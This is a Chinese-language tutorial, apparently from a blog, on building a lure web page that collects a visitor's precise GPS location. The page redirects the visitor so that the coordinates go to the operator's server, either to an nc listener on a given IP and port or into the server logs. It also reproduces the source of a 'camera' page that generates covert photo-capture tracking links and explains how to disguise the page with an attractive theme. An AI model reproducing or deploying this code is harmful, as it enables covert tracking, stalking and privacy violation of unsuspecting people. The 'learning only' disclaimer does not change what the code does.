声明
以下教程仅用于学习研究目的,请勿用于非法用途
相关阅读
之前我们关于IP定位的出过很多期教程了
但是很多人觉得麻烦,这次我们将再做一个简化,如何更简单的获取IP定位呢?
简介
本教程将教您通过一个页面,完成高精度定位的获取
在线体验
视频教程
图文教程
体验
点击获取定位,可以读取到精度和纬度信息
这里会具体显示
但并不会传到服务器的日志
如何记录高精度定位信息
那么我们开启第26行代码,去掉//
,然后填写您的网站路径或者是IP:端口
document.location="https://www.cvv-goods.com/demo/geo_result/"+ latlong;
可以通过2种方式来记录请求
- 方法一:服务器监听端口记录请求
- 方法二:服务器日志记录请求
方法一
第一种是服务端口(记得检查安全组配置是否允许该端口,以及服务器防火墙是否开启该端口)
第26行代码,例如,我想让他监听服务器的5432端口
document.location="http://39.106.66.45:5432/"+ latlong;
然后,在服务器终端中输入
nc -lvvp 5432
等待请求结果
方法二
当然,如果你不会开启服务器端口,您也可以直接使用宝塔面板的日志功能,我们将重定向链接随意修改,可以是一个不存在的路径,但要在服务器的域名路径下, 第26行代码,例如
document.location="https://www.cvv-goods.com/demo/geo_result/"+ latlong;
然后去宝塔面板/www/wwwlogs/
下寻找相关的日志文件,再从日志文件中查找日志详情即可(视频中有讲)
其他基础教程
如果您没有服务器,我们为您推荐
特价服务器购买
下面是一些腾讯云的活动,强烈建议选择腾讯云学生机,一年也就400多块钱(2核4G 3M带宽)
当然您也可以选择阿里云服务器,或者vultr国外服务器
网站搭建教程
相关代码及工具
简陋版源代码
最基本的框架已经出来了,需要美化可以自行找模板
URL编码/解码工具
下面是常用的在线URL编码解码工具
当然,您也可以使用本地离线工具
经纬度查询工具
你只需要输入获取的纬度,经度
然后用逗号隔开查询即可
美化问题
至于页面美化的问题,这个你可以随便找一个好看的页面,然后把提交按钮上加入onclick="getLocation()"
,同时引入相关的javascript代码,非常简单!
我们这里以乔碧萝之前的动漫款式为例
下面讲一下美化的思路,附源码
本文隐藏内容 – 披萨会员可见
我们先看sc.php
代码
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>乔碧萝你别跑</title>
<link rel="shortcut icon" href="https://www.cvv-goods.com/icon/logo.ico" type="image/x-icon">
<meta name="keywords" content="乔碧萝你别跑">
<meta name="description" content="照妖镜">
<link rel="stylesheet" href="css/bootstrap.min.css">
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
<script src="https://cdn.bootcss.com/sweetalert/2.1.2/sweetalert.min.js"></script>
<script type="text/javascript">
$(function () {
function getNowFormatDate() {
var date = new Date();
var month = date.getMonth() + 1;
var strDate = date.getDate();
var currentdate = month + "月" + strDate + "日";
return currentdate;
}
var text = [
"猪头偷拍已启用新服务器",
"链接会随时更换",
"请加Q群387568!",
], content = "";
for (var i = 0; i < text.length; i++) {
content += (i + 1) + ". " + text[i] + "\n";
}
setTimeout(function () {
swal(getNowFormatDate() + "通知", content, "success");
}, 100)
})
</script>
</body>
<style>
body{
margin: 0 auto;
text-align: center;
}
.container {
max-width: 580px;
padding: 15px;
margin: 0 auto;
}
</style>
</body>
<style>
body{
margin: 0 auto;
text-align: center;
}
.container {
max-width: 580px;
padding: 15px;
margin: 0 auto;
}
</style>
</body>
</body>
<body background="https://api.ixiaowai.cn/api/api.php">
<div class="container">
<div class="header">
<ul class="nav nav-pills pull-right" role="tablist">
<li role="presentation" class="active">
<a href="https://www.cvv-goods.com/knowledge/pig=2587">源码下载</a></li>
<li role="presentation" class="active">
<a href="https://jq.qq.com/?_wv=1027&k=I9VBbDTj" >加入Q群</a></li>
</ul>
<img src="https://www.cvv-goods.com/logo.png" height="40px" align="left">
</div>
<br>
<br>
<div class="panel panel-primary" style="margin:1% 1% 1% 1%;background: rgba(255, 251, 251, 0.7)">
<div class="panel-heading bk-bg-primary">
<h6>
<span class="panel-title">乔碧萝你别跑</span>
</h6>
</div>
<div class="panel-body">
<script>
function create() {
var input = document.getElementById('content');
var kd = document.getElementById('kd');
var myid = document.getElementById('myid');
var url = document.getElementById('url');
if (myid.value=="" || url.value==""){
alert("ID或跳转地址不能为空!");
return false;
}
kd.href = 'https://sg.iculture.cc/camera/?id='+myid.value+'&url='+url.value;
kd.style = '';
kd.innerText = 'https://sg.iculture.cc/camera/?id='+myid.value+'&url='+url.value;
}
</script>
<form>
<div class="container-fluid">
</div>
<div class="panel-body">
<input type="text" style="background: rgba(255, 251, 251, 0.7)" class="form-control" id="myid" value= '' placeholder="请输入英文/数字 你能记得住的ID">
<br>
<input type= "text" style="background: rgba(255, 251, 251, 0.7)" class="form-control" id="url" value= 'https://www.baidu.com'/></p>
<input type= "button" class="btn btn-primary btn-block" value= '生成链接' onclick= 'create();' />
<a id="kd" style="pointer-events: none;"></a>
<br>
<input type= "button" class="btn btn-primary btn-block" value= '查看照片' onclick=window.location.href='ck.php?id='+document.getElementById('myid').value> </p>
</form>
</div>
<div class="tip"></div>
</div>
</div>
<div class="panel panel-primary" style="margin:1% 1% 1% 1%;background: rgba(255, 251, 251, 0.7)">
<div class="panel-body">
<div class="alert alert-info" role="alert">
使用说明
<br>请先生成一个自己能记得住的ID
<br>ID可以是英文中文数字字符
<br>然后查找的时候使用刚才输入的ID进行查找
<br>请收藏本站,以防丢失
<hr class="top_hr_style02">
<body><span id="localtime"></span>
</nav></header>
<script type="text/javascript">
function showLocale(objD) {
var str, colorhead, colorfoot;
var yy = objD.getYear();
if (yy < 1900) yy = yy + 1900;
var MM = objD.getMonth() + 1;
if (MM < 10) MM = '0' + MM;
var dd = objD.getDate();
if (dd < 10) dd = '0' + dd;
var hh = objD.getHours();
if (hh < 10) hh = '0' + hh;
var mm = objD.getMinutes();
if (mm < 10) mm = '0' + mm;
var ss = objD.getSeconds();
if (ss < 10) ss = '0' + ss;
var ww = objD.getDay();
if (ww == 0) colorhead = "<font color=\"#FF3030\">";
if (ww > 0 && ww < 6) colorhead = "<font color=\"#FF3030\">";
if (ww == 6) colorhead = "<font color=\"#FF3030\">";
if (ww == 0) ww = "星期日";
if (ww == 1) ww = "星期一";
if (ww == 2) ww = "星期二";
if (ww == 3) ww = "星期三";
if (ww == 4) ww = "星期四";
if (ww == 5) ww = "星期五";
if (ww == 6) ww = "星期六";
colorfoot = "</font>"
str = colorhead + yy + "-" + MM + "-" + dd + "丨" + hh + ":" + mm + ":" + ss + "丨" + ww + colorfoot;
return (str);
}
function tick() {
var today;
today = new Date();
document.getElementById("localtime").innerHTML = showLocale(today);
window.setTimeout("tick()", 1000);
}
tick();
</script>
<br>
<p style="text-align:center">
<br>© Designed by
<a href="https://www.cvv-goods.com">猪头</a></p>
</div>
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?cb7a49e4f6a740b15e6fd25de2803712";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
</body>
</html>
核心的静态资源其实引用了
<link rel="stylesheet" href="css/bootstrap.min.css">
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
那我们保留这些文件就好了,然后我们要把提交按钮加入,之前是生成链接
<input type= "button" class="btn btn-primary btn-block" value= '生成链接' onclick= 'create();' />
我们就换成获取定位,同时改变函数
<input type= "button" class="btn btn-primary btn-block" value= '获取定位' onclick= 'getLocation()' />
我们把无关的都去掉,然后将原本生成链接的隐藏按钮的id
换成demo
,同时引入JavaScript的脚本(这里要注意,javascript需要引入到最后,因为先获取到了定位才有相关参数,不然会报错:Cannot set properties of null (setting ‘innerHTML’))
<input type= "button" class="btn btn-primary btn-block" value= '获取定位' onclick= 'getLocation();' />
<p id="demo"></p>
我们看下效果
当然,源码我们也分享到下方
暂无评论内容